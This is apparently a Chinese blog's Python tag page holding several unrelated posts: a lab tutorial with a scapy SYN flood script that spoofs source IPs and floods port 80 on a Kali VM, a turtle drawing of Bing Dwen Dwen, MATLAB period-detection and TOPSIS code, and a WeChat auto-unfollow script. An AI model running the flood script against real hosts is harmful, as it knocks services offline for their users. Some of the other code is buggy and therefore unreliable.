标签 Python 下的文章

编写python脚本实现SYN FLOOD(DDOS)

原理

SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。

攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,从而就无法为正常用户提供服务了。

实验方式

在本机运行脚本,攻击kali linux靶机的80端口,模拟攻击靶机网站,然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。

Python脚本

import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)
synFlood(tgt,dPort)

kali linux靶机开启apache,并且绑定0.0.0.0:80端口

查看服务开启状态

service --stauts-all

image-20210202203157420.png

这里apache没有开启,我们将其开启

service apache2 start

小插曲:主机访问不了kali linux虚拟机的解决方案

这中间遇到了个小插曲,我的主机访问不了虚拟机,这里需要进行网卡还原操作。

image-20210202225908914.png

image-20210202225925780.png

需要管理员权限,编辑ports.conf文件

sudo vim /etc/apache2/ports.conf

编辑文件将80端口改成0.0.0.0:80

image-20210202230205090.png

在kali打开wireshark

image-20210202230706745.png

windows里运行python脚本

kali里面是自带的scapy,这里windows电脑要提前装好scapy

pip3 install scapy-python3

如果中间提示

Traceback (most recent call last):
  File "D:\PycharmProjects\new\main.py", line 3, in
    from scapy.all import *
ModuleNotFoundError: No module named 'scapy'

如下图所示

image-20210202235625714.png

我们需要将scapy的包拷到项目的目录里就好了

image-20210202235803145.png

然后就可以运行了,可以看到已经在疯狂发包了。

image-20210202235851148.png

kali这边已经可以看到很多发送请求,这里通过SNY FLOOD可以占用虚拟机很大的资源,但是这里因为是内网所以带宽方面表现不明显,如果是外网的话,通过SNY断开连接占用大量带宽资源,应该会有明显的卡顿。

image-20210203000131440.png

一、代码如下

import turtle as t
import math

# 设置速度
t.speed(100)  # 速度
t.delay(10)  # 延迟
# turtle.tracer(False)
# 双耳
# 左耳
t.penup()
t.goto(-150, 200)
t.setheading(160)
t.begin_fill()
t.pendown()
t.circle(-30, 230)
t.setheading(180)
t.circle(37, 90)
t.end_fill()
# 右耳
t.penup()
t.goto(60, 200)
t.setheading(20)
t.begin_fill()
t.pendown()
t.circle(30, 230)
t.setheading(0)
t.circle(-37, 90)
t.end_fill()
# 头
t.pensize(5)
t.penup()
t.goto(-113, 237)
t.setheading(30)
t.pendown()
t.circle(-134, 60)

t.penup()
t.goto(-150, 200)
t.setheading(-120)
t.pendown()
t.circle(200, 80)

t.penup()
t.goto(60, 200)
t.setheading(-60)
t.pendown()
t.circle(-200, 80)

t.penup()
t.setheading(210)
t.pendown()
t.circle(-120, 60)
# 双眼
# 左眼
# 眼圈
t.penup()
t.goto(-140, 100)
t.setheading(-45)
t.begin_fill()
t.pendown()
a = 0.2
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a + 0.1
        t.lt(3)  # 向左转3度
        t.fd(a)  # 向前走a的步长
    else:
        a = a - 0.1
        t.lt(3)
        t.fd(a)
t.end_fill()
# 眼白
t.fillcolor("white")
t.penup()
t.goto(-103, 125)
t.setheading(0)
t.begin_fill()
t.pendown()
t.circle(13, 360)
t.end_fill()
# 眼珠
t.fillcolor("sienna")
t.pencolor("sienna")
t.penup()
t.goto(-102, 133)
t.setheading(0)
t.begin_fill()
t.pendown()
t.circle(5, 360)
t.end_fill()
# 右眼
# 眼圈
t.penup()
t.goto(50, 100)
t.setheading(45)
t.fillcolor("black")
t.pencolor("black")
t.begin_fill()
t.pendown()
a = 0.2
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a + 0.1
        t.lt(3)  # 向左转3度
        t.fd(a)  # 向前走a的步长
    else:
        a = a - 0.1
        t.lt(3)
        t.fd(a)
t.end_fill()
# 眼白
t.fillcolor("white")
t.penup()
t.goto(13, 125)
t.setheading(0)
t.begin_fill()
t.pendown()
t.circle(13, 360)
t.end_fill()
# 眼珠
t.fillcolor("sienna")
t.pencolor("sienna")
t.penup()
t.goto(12, 133)
t.setheading(0)
t.begin_fill()
t.pendown()
t.circle(5, 360)
t.end_fill()
# 鼻子
t.pencolor("black")
t.fillcolor("black")
t.penup()
t.goto(-55, 133)
t.begin_fill()
t.pendown()
t.fd(20)
t.seth(-120)
t.fd(20)
t.seth(120)
t.fd(20)
t.end_fill()
# 嘴
t.penup()
t.goto(-70, 110)
t.setheading(-30)
t.fillcolor("red")
t.begin_fill()
t.pendown()
t.circle(50, 60)
t.setheading(-120)
t.circle(-100, 15)
t.circle(-15, 90)
t.circle(-100, 15)
t.end_fill()
# 四肢
# 左臂
t.penup()
t.goto(-175, 100)
t.fillcolor("black")
t.begin_fill()
t.setheading(-120)
t.pendown()
t.fd(100)
t.setheading(-110)
t.circle(20, 180)
t.fd(30)
t.circle(-5, 160)
t.end_fill()
# 右臂
t.penup()
t.goto(85, 100)
t.setheading(60)
t.begin_fill()
t.pendown()
t.fd(100)
t.setheading(70)
t.circle(20, 180)
t.fd(30)
t.circle(-5, 160)
t.end_fill()
# 小红心
t.penup()
t.pencolor("red")
t.fillcolor('red')
t.goto(105, 200)
t.begin_fill()
t.pendown()
t.circle(-5, 180)
t.setheading(90)
t.circle(-5, 180)
t.setheading(-120)
t.fd(17)
t.penup()
t.goto(105, 200)
t.pendown()
t.setheading(-60)
t.fd(17)
t.end_fill()
t.pencolor("black")
t.fillcolor("black")
# 左腿
t.penup()
t.goto(-120, -45)
t.begin_fill()
t.pendown()
t.setheading(-90)
t.circle(-140, 20)
t.circle(5, 109)
t.fd(30)
t.circle(10, 120)
t.setheading(90)
t.circle(-140, 10)
t.end_fill()
# 右腿
t.penup()
t.goto(30, -45)
t.begin_fill()
t.pendown()
t.setheading(-90)
t.circle(140, 20)
t.circle(-5, 109)
t.fd(30)
t.circle(-10, 120)
t.setheading(90)
t.circle(140, 10)
t.end_fill()
# 冰糖外壳
t.pensize(1)
t.penup()
t.goto(-160, 195)
t.setheading(160)
t.pendown()
t.circle(-40, 230)
t.setheading(30)
t.circle(-134, 58)
t.setheading(60)
t.circle(-40, 215)
t.setheading(-60)
t.fd(15)
t.circle(2, 200)
t.setheading(65)
t.fd(30)
t.circle(-25, 180)
t.fd(100)
t.circle(2, 25)
t.circle(-200, 47)
t.circle(2, 60)
t.circle(140, 23)
t.circle(-2, 90)
t.setheading(180)
t.fd(70)
t.circle(-2, 90)
t.fd(30)
t.setheading(-160)
t.circle(-100, 35)
t.setheading(-90)
t.fd(30)
t.circle(-2, 90)
t.fd(70)
t.circle(-2, 90)
t.setheading(60)
t.circle(140, 30)
t.circle(2, 45)
t.circle(-200, 19)
t.circle(2, 130)
t.fd(30)
t.circle(-25, 180)
t.fd(100)
t.setheading(90)
t.circle(-200, 30)
# 冰糖面罩
t.pensize(3)
t.penup()
t.goto(65, 120)
t.setheading(90)
t.pendown()
t.pencolor("red")
a = 1
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:  # 控制a的变化
        a = a + 0.25
        t.lt(3)  # 向左转3度
        t.fd(a)  # 向前走a的步长
    else:
        a = a - 0.25
        t.lt(3)
        t.fd(a)
t.pencolor("orange")
t.penup()
t.goto(66, 120)
t.pendown()
a = 1
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a + 0.255
        t.lt(3)
        t.fd(a)
    else:
        a = a - 0.255
        t.lt(3)
        t.fd(a)
t.pencolor("green")
t.penup()
t.goto(67, 120)
t.pendown()
a = 1
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a + 0.2555
        t.lt(3)
        t.fd(a)
    else:
        a = a - 0.2555
        t.lt(3)
        t.fd(a)
t.pencolor("deep sky blue")
t.penup()
t.goto(68, 120)
t.pendown()
a = 1
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a + 0.25955
        t.lt(3)
        t.fd(a)
    else:
        a = a - 0.25955
        t.lt(3)
        t.fd(a)
t.pencolor("pink")
t.penup()
t.goto(71, 120)
t.pendown()
a = 1
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a + 0.26
        t.lt(3)
        t.fd(a)
    else:
        a = a - 0.26
        t.lt(3)
        t.fd(a)
t.pencolor("purple")
t.penup()
t.goto(72, 120)
t.pendown()
a = 1
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a + 0.269
        t.lt(3)
        t.fd(a)
    else:
        a = a - 0.269
        t.lt(3)
        t.fd(a)

# 五环
t.penup()
t.goto(-55, -10)
t.pendown()
t.pencolor("blue")
t.circle(10)
t.penup()
t.goto(-40, -10)
t.pendown()
t.pencolor("black")
t.circle(10)
t.penup()
t.goto(-25, -10)
t.pendown()
t.pencolor("red")
t.circle(10)
t.penup()
t.goto(-50, -20)
t.pendown()
t.pencolor("yellow")
t.circle(10)
t.penup()
t.goto(-30, -20)
t.pendown()
t.pencolor("green")
t.circle(10)

t.done()

二、一键执行文件

有些同学不会使用Python。我在这里打包了exe程序文件,双击执行即可。
下载地址:冰墩墩一键执行文件

一、ACF(自相关系数检验周期)

%% 通过autocorr和xcorr自相关求周期
clear ;clc
%加载TOP13家供货商240周的供货量数组文件
load FFt.mat;
%使用autocorr函数
Randi = randi([2 14],1,1)
A = FFt([1:96],Randi) ;
len = length(A) ;
[ACF,lags,bounds] = autocorr(A,len-1) ;
subplot(2,1,1) ;
plot(lags(1:end),ACF(1:end)) ;
title('autocorr求S-top13的自相关') ;
%使用xcorr函数
B = A - mean(A) ;%减掉均值
[c,lags] = xcorr(B) ;
d = c ./ c(len) ;%归一化
subplot(2,1,2) ;
plot(lags(len:end),d(len:end)) ;%取中点n为起始的后面n个序列
title('xcorr求S-top13的自相关') ;
from statsmodels.tsa.stattools import acf

# Expected time period
for lag in fft_periods:
    # lag = fft_periods[np.abs(fft_periods - time_lag).argmin()]
    acf_score = acf(data["value"].values, nlags=lag)[-1]
    print(f"lag: {lag} fft acf: {acf_score}")

expected_lags = np.array([timedelta(hours=12)/timedelta(minutes=5), timedelta(days=1)/timedelta(minutes=5), timedelta(days=7)/timedelta(minutes=5)]).astype(int)
for lag in expected_lags:
    acf_score = acf(data["value"].values, nlags=lag, fft=False)[-1]
    print(f"lag: {lag} expected acf: {acf_score}")

周期检验图

1.autocorr求S-top13的自相关

2.corr求S-top13的自相关

xcorr求S-top13的自相关

二、FFt(傅里叶变换计算周期)

%% 判断TOP13家供货商的供货量(S)是否为周期波动。如果周期波动,求出周期。
clear;clc;
%加载TOP13家供货商240周的供货量数组文件
load FFt.mat;
%将首列的240个周次作为横坐标(Weeks)
weeks = FFt([1:240],1);
%随机生成2到14中的一个整数用以随机择取13个供货商中的一家
Randi = randi([2 14],1,1)
SNumbers = FFt([1:240],Randi);
%绘制该供货商未经fft(傅里叶函数)变换的原始图像并观察是否存在周期此性
plot(weeks,SNumbers)
xlabel('Weeks')
ylabel('SNumbers')
title('FFt Data')
%大致判断该原始图像是否具有周期性
judge = input("请输入观察该供货商的供货量(S)数据是否具有周期性,'是'请输入'1','不是'请输入'0':")
if judge == 1
    %如果具有周期性,则使用FFt(傅里叶变换)函数将随机择取的供货商所在列的供货量(S)进行变换
    y = fft(SNumbers);
    y(1) = [];
    plot(y,'ro')
    %绘制经过fft(傅里叶函数)变换后的图像
    xlabel('real_SNumbers(y)')
    ylabel('imag_SNumbers(y)')
    title('傅里叶转换')
    %变换数据前半部分的幂
    n = length(y);
    power = abs(y(1:floor(n/2))).^2;
    %最大频率
    maxfreq = 1/2;      
    %等距频率网格
    freq = (1:n/2)/(n/2)*maxfreq;    
    plot(freq,power)
    xlabel('Weeks/Cycle')
    ylabel('Power')
    period = 1./freq;
    plot(period,power);
    %放大最大功率(周次)
    xlim([0 240]); 
    xlabel('Weeks/Cycle')
    ylabel('SNumbers')
end

随机验证周期图

1.Weeks

Weeks

2.Weeks_Cycle

Weeks_Cycle

三、Topsis

(一)Inter2Max

%% 定义Inter2Max函数以备主函数调用
function [posit_x] = Inter2Max(x,a,b)
    r_x = size(x,1);  % row of x 
    M = max([a-min(x),max(x)-b]);
    posit_x = zeros(r_x,1);  
    % 初始化posit_x全为0
    for i = 1: r_x
        if x(i) < a
           posit_x(i) = 1-(a-x(i))/M;
        elseif x(i) > b
           posit_x(i) = 1-(x(i)-b)/M;
        else
           posit_x(i) = 1;
        end
    end
end

(二)Mid2Max

%% 中间型数据转极大型数据
%定义Mid2Max函数以备主函数调用
function [posit_x] = Mid2Max(x,best)
    M = max(abs(x-best));
    posit_x = 1 - abs(x-best) / M;
end```
%% 中间型数据转极大型数据
%定义Mid2Max函数以备主函数调用
function [posit_x] = Mid2Max(x,best)
    M = max(abs(x-best));
    posit_x = 1 - abs(x-best) / M;
end

(三)Min2Max

%% 及小型数据转极大型数据
%定义Min2Max函数以备主函数调用
function [posit_x] = Min2Max(x)
    posit_x = max(x) - x;
    % posit_x = 1 / x; 如果x全部都大于0,需要这样正向化
end

(四)Positivization

%% 调用Mid2Max.m和Min2Max.m和Inter2Max.m函数定义正向化函数
function [posit_x] = Positivization(x,type,i)
% 输入变量有三个:
% x:需要正向化处理的指标对应的原始列向量
% type: 指标的类型(1:极小型, 2:中间型, 3:区间型)
% i: 正在处理的是原始矩阵中的哪一列
% 输出变量posit_x表示:正向化后的列向量
    if type == 1  %极小型
        disp(['第' num2str(i) '列是极小型,正在正向化'] )
        posit_x = Min2Max(x);  %调用Min2Max函数来正向化
        disp(['第' num2str(i) '列极小型正向化处理完成'] )
        disp('~~~~~~~~~~~~~~~~~~~~分界线~~~~~~~~~~~~~~~~~~~~')
    elseif type == 2  %中间型
        disp(['第' num2str(i) '列是中间型'] )
        best = input('请输入最佳的那一个值: ');
        posit_x = Mid2Max(x,best);
        disp(['第' num2str(i) '列中间型正向化处理完成'] )
        disp('~~~~~~~~~~~~~~~~~~~~分界线~~~~~~~~~~~~~~~~~~~~')
    elseif type == 3  %区间型
        disp(['第' num2str(i) '列是区间型'] )
        a = input('请输入区间的下界: ');
        b = input('请输入区间的上界: '); 
        posit_x = Inter2Max(x,a,b);
        disp(['第' num2str(i) '列区间型正向化处理完成'] )
        disp('~~~~~~~~~~~~~~~~~~~~分界线~~~~~~~~~~~~~~~~~~~~')
    else
        disp('没有这种类型的指标,请检查Type向量中是否有除了1、2、3之外的其他值')
    end
end

(五)topsis

%% Step1:清空界面,并加载矩阵X
clear;clc %清空界面
load X.mat %加载数据
%% Step2:判断是否需要正向化处理
[n,m] = size(X);%计算矩阵的大小
disp(['共有' num2str(n) '个评价对象, ' num2str(m) '个评价指标']) %输出共有多少个评价对象
JUDGING = input(['这' num2str(m) '个指标是否需要经过正向化处理,需要请输入1 ,不需要输入0:  ']);%定义是否需要正向化处理
if JUDGING == 1
    Position = input('请输入需要正向化处理的指标所在的列 '); 
    disp('请输入需要处理的这些列的指标类型(1-极小型, 2-中间型, 3-区间型) ')
    TYPE = input('例如:第1列是极小型,第2列是中间型,第3列是区间型,就输入[1,2,3]:  ');%同样为了保证代码逻辑的完整性,此处添加正向化的处理步骤
      for i = 1 : size(Position,2)  %这里需要对这些列分别处理,因此需要知道一共要处理的次数,即循环的次数
        X(:,Position(i)) = Positivization(X(:,Position(i)),TYPE(i),Position(i));
       end
    disp('正向化后的矩阵 X =  ')%输出正向化的矩阵
    disp(X)
end%以end作为结尾
%% Step3:对正向化后的矩阵进行标准化
Z = X ./ repmat(sum(X.*X) .^ 0.5, n, 1);%利用repmat函数
disp('标准化矩阵 Z = ')%输出标准化矩阵Z
disp(Z)
%% Step4:判断是否需要增加权重
disp("请输入是否需要增加权重向量,需要输入1,不需要输入0")%以此作为增加权重步骤的开始
JUDGING = input('请输入是否需要增加权重: ');%判断是否需要增加权重
if JUDGING == 1%用if 和 for 循环来判断是否需要增加权重
    JUDGING = input('使用熵权法确定权重请输入1,否则输入0: ');%确定是否需要用熵权法增加权重
    if JUDGING == 1%==是判断符号
        if sum(sum(Z<0)) >0   % 如果之前标准化后的Z矩阵中存在负数,则重新对X进行标准化
            disp('原来标准化得到的Z矩阵中存在负数,所以需要对X重新标准化')
            for i = 1:n%使用for循环
                for j = 1:m
                    Z(i,j) = [X(i,j) - min(X(:,j))] / [max(X(:,j)) - min(X(:,j))];
                end
            end
            disp('X重新进行标准化得到的标准化矩阵Z为:  ')
            disp(Z)
        end
        weight = Entropy_Method(Z);
        disp('熵权法确定的权重为:')%输出最终权重数据
        disp(weight)
    else
        disp(['如果你有3个指标,你就需要输入3个权重,例如它们分别为0.25,0.25,0.5, 则你需要输入[0.25,0.25,0.5]']);
        weight = input(['你需要输入' num2str(m) '个权数。' '请以行向量的形式输入这' num2str(m) '个权重: ']);
        OK = 0;  % 用来判断用户的输入格式是否正确
        while OK == 0 
            if abs(sum(weight) -1)<0.000001 && size(weight,1) == 1 && size(weight,2) == m  % 注意,Matlab中浮点数的比较要小心
                OK =1;
            else
                weight = input('你输入的有误,请重新输入权重行向量: ');
            end
        end
    end
else
    weight = ones(1,m) ./ m ; %如果不需要加权重就默认权重都相同,即都为1/m
end

%% Step5:计算与最大值的距离和最小值的距离,并算出得分
D_P = sum([(Z - repmat(max(Z),n,1)) .^ 2 ] .* repmat(weight,n,1) ,2) .^ 0.5;   %此为与最大值即最优解的距离
D_N = sum([(Z - repmat(min(Z),n,1)) .^ 2 ] .* repmat(weight,n,1) ,2) .^ 0.5;   %此为与最小值即最劣解的距离
S = D_N ./ (D_P+D_N);    % 这里得到未归一化的得分
disp('最后的得分为:')
stand_S = S / sum(S)%将数据进行归一化处理,以便于比较。
[sorted_S,index] = sort(stand_S ,'descend')%对各个供应商进行排序,得到最终数据

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=3svr12kkscyss

一、打开微信电脑版

二、找到通讯录页面

三、全屏通讯录页面

四、新建xxx.py的文件

1.复制如下内容,并运行程序

import win32api
import ctypes
import time
import random
rand_time=random.uniform(0,1)
# 和所有的公众号说再见,包括我自己的公众号!~
# 定义鼠标左侧单击函数
def left_press(x, y, button=1):
    buttonAction = 2 ** ((2 * button) - 1)
    win32api.mouse_event(buttonAction, x, y)
# 定义鼠标左侧单击释放函数
def left_release(x, y, button=1):
    buttonAction = 2 ** ((2 * button))
    win32api.mouse_event(buttonAction, x, y)    
# 定义鼠标右侧单击函数
def right_press(x, y, button=2):
    buttonAction = 2 ** ((2 * button) - 1)
    win32api.mouse_event(buttonAction, x, y)
# 定义鼠标右侧单击释放函数
def right_release(x, y, button=2):
    buttonAction = 2 ** ((2 * button))
    win32api.mouse_event(buttonAction, x, y)   
# 定义鼠标移动函数
def move(x, y):
    ctypes.windll.user32.SetCursorPos(x, y)
# 最小化程序运行的窗体,并且移动到LOGO的显示坐标位置
# (1180,15)程序运行的窗体坐标位置
# 移动到坐标
time.sleep(1)
move(x=1180,y=15)
# 休眠1s
time.sleep(rand_time)
# 点击
left_press(x=1180,y=15)
# 释放鼠标左键
left_release(x=1180,y=15)
for i in range(30):
    # (613,173)公众号LOGO的坐标位置
    time.sleep(rand_time)  
    move(613,120)
    right_press(613,120)
    right_release(613,120)
    # 左击“取消关注”
    time.sleep(rand_time)  
    move(633,185)
    left_press(633,185)
    left_release(633,185)
    # 点击确定
    time.sleep(rand_time)  
    move(700,430)
    left_press(700,430)
    left_release(700,430)

2.默认循环30次,也就是取消30个公众号。如果想要自定义个数,可以用这个代码

import win32api
import ctypes
import time
import random
numbers=input("请输入取消的公众号次数:")
rand_time=random.uniform(0,1)
# 和所有的公众号说再见,包括我自己的公众号!~
# 定义鼠标左侧单击函数
def left_press(x, y, button=1):
    buttonAction = 2 ** ((2 * button) - 1)
    win32api.mouse_event(buttonAction, x, y)
# 定义鼠标左侧单击释放函数
def left_release(x, y, button=1):
    buttonAction = 2 ** ((2 * button))
    win32api.mouse_event(buttonAction, x, y)    
# 定义鼠标右侧单击函数
def right_press(x, y, button=2):
    buttonAction = 2 ** ((2 * button) - 1)
    win32api.mouse_event(buttonAction, x, y)
# 定义鼠标右侧单击释放函数
def right_release(x, y, button=2):
    buttonAction = 2 ** ((2 * button))
    win32api.mouse_event(buttonAction, x, y)   
# 定义鼠标移动函数
def move(x, y):
    ctypes.windll.user32.SetCursorPos(x, y)
# 最小化程序运行的窗体,并且移动到LOGO的显示坐标位置
# (1180,15)程序运行的窗体坐标位置
# 移动到坐标
time.sleep(1)
move(x=1180,y=15)
# 休眠1s
time.sleep(rand_time)
# 点击
left_press(x=1180,y=15)
# 释放鼠标左键
left_release(x=1180,y=15)
for i in range(numbers):
    # (613,173)公众号LOGO的坐标位置
    time.sleep(rand_time)  
    move(613,120)
    right_press(613,120)
    right_release(613,120)
    # 左击“取消关注”
    time.sleep(rand_time)  
    move(633,185)
    left_press(633,185)
    left_release(633,185)
    # 点击确定
    time.sleep(rand_time)  
    move(700,430)
    left_press(700,430)
    left_release(700,430)

五、操作演示

六、特别说明

1.我的电脑是1920x1080分辨率,所以上述的坐标也只对这个分辨率起作用
2.运行程序时,保证通讯录页面全屏且在VSCODE程序的下面
3.代码写的很烂,主要不是科班出身,还需要加倍努力!